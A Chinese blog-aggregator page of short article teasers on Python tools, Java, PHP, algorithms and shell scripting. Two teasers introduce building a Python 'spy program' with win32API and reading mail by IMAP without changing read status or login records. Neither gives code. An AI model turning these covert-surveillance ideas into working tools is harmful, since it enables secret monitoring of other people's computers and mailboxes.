进入正文前给大家推荐一个微软开发的工具:Snipaste. 这是一款截图软件,把截出的图片放置到窗口上,可以随意移动,使用非常方便,并且支持各类电脑系统. 先简单介绍一下它的用法,F1截图,Ctrl+ ...
- 使用Python打造一款间谍程序
知识点 这次我们使用python来打造一款间谍程序 程序中会用到许多知识点,大致分为四块 win32API 此处可以在MSDN上查看 Python基础重点在cpytes库的使用,使用方法请点击此处 ...
- 尝试用python开发一款图片压缩工具1:尝试 pillow库
开发目的 我经常使用图片.公众号文章发文也好,还是生活中要使用素材.图片是一种比文字更加直观的载体.但是图片更加占用带宽,很多软件都对图片有大小限制.图片太大也会影响加载速度.我试过几款图片压缩工具, ...
- python 开发一款图片压缩工具(四):上传图床
上一篇使用了 pngquant 图片压缩工具进行压缩,并通过 click 命令行工具构建了 picom 包.这篇的主要功能是实现图片上传. 图片上传功能的实现 通过 pngquant 压缩图片后,得到 ...
- 模拟python中的Yield伪并发
并发,在操作系统中,是指一个时间段中有几个程序都处于已启动运行到运行完毕之间,且这几个程序都是在同一个处理机上运行,但任一个时刻点上只有一个程序在处理机上运行. #Yield伪并发 _author_= ...
- python利用imap实现伪“无痕”取信
所谓无痕取信,目前主要是指从邮箱中把信件收取后,邮箱内状态不发生任何改变.这里的状态主要是指两部分,一部分是邮件状态不变,即已读与未读状态不变,另一部分是指邮箱记录的登陆IP不发生改变.本文中所说的伪 ...
随机推荐
- PHP面试常考内容之Memcache和Redis(1)
你好,是我琉忆.继上周(2019.2-11至2-15)发布的"PHP面试常考内容之面向对象"专题后,发布的第二个专题,感谢你的阅读.本周(2019.2-18至2-22)的文章内容点 ...
- Solution -「CF 494C」Helping People
\(\mathcal{Description}\) Link. 给定序列 \(\{a_n\}\) 和 \(m\) 个操作,第 \(i\) 个操作有 \(p_i\) 的概率将 \([l_i,r_ ...
- Solution -「CF 1119F」Niyaz and Small Degrees
\(\mathcal{Description}\) Link. 给定一棵 \(n\) 个结点的树,边有边权,对于每个整数 \(x\in[0,n)\),求出最少的删边代价使得任意结点度数不超过 ...
- 解决POI多线程导出时数据错乱问题
项目里有一个导出功能,但随着数据量大量上涨,导出时间长到不可忍受,遂重写此接口,多线程导出的代码并不复杂,每页有一条线程负责写入,利用线程池去调度,用countdownLatch保证在所有数据写完后再 ...
- JDBC(解析properties)
练习1:解析配置文件jdbc.properties jdbc.driver=com.mysql.jdbc.Driver jdbc.url=jdbc:mysql://192.168.168.168:33 ...
- 可视化里程碑:可拖拽使用的可视化BI工具
在数据量越来越大的今天,如何利用好数据,更好的为人类社会服务,成为人们所关心的话题,而其中数据可视化作为最后一个环节,也是人们最为直观的感受,自然而然备受重视.同质化的应用越来越多,应用开发者也开始在 ...
- 【windows 访问控制】十、词汇列表和对应C#类、枚举、命名空间
principals:主体 主体包含标识(identity 对用来来说就是用户名,对程序来说就是SID)和用户角色(role 对用户来说就是 组名 对程序来说就是组SID)subject:主体.主语i ...
- Nested Class(嵌套类)
在类.结构或接口中定义的类型称为嵌套类型. 例如 public class Container { class Nested { Nested() { } } } 不论外部类型是类.接口还是构造,嵌套 ...
- JavaWeb-JDBC-Mybatis-Junit-Maven-Lombok
Java与数据库 初识JDBC JDBC是什么? JDBC英文名为:Java Data Base Connectivity(Java数据库连接),官方解释它是Java编程语言和广泛的数据库之间独立于数 ...
- shell-if表达式(-f,-d,-s,-r,-w,-x,-eq,-ne,-ge,-gt,-le,-lt )
文件表达式 if [ -f file ] 如果文件存在if [ -d - ] 如果目录存在if [ -s file ] 如果文件存在且非空if [ -r file ] 如果文件存在且可读if [ -w ...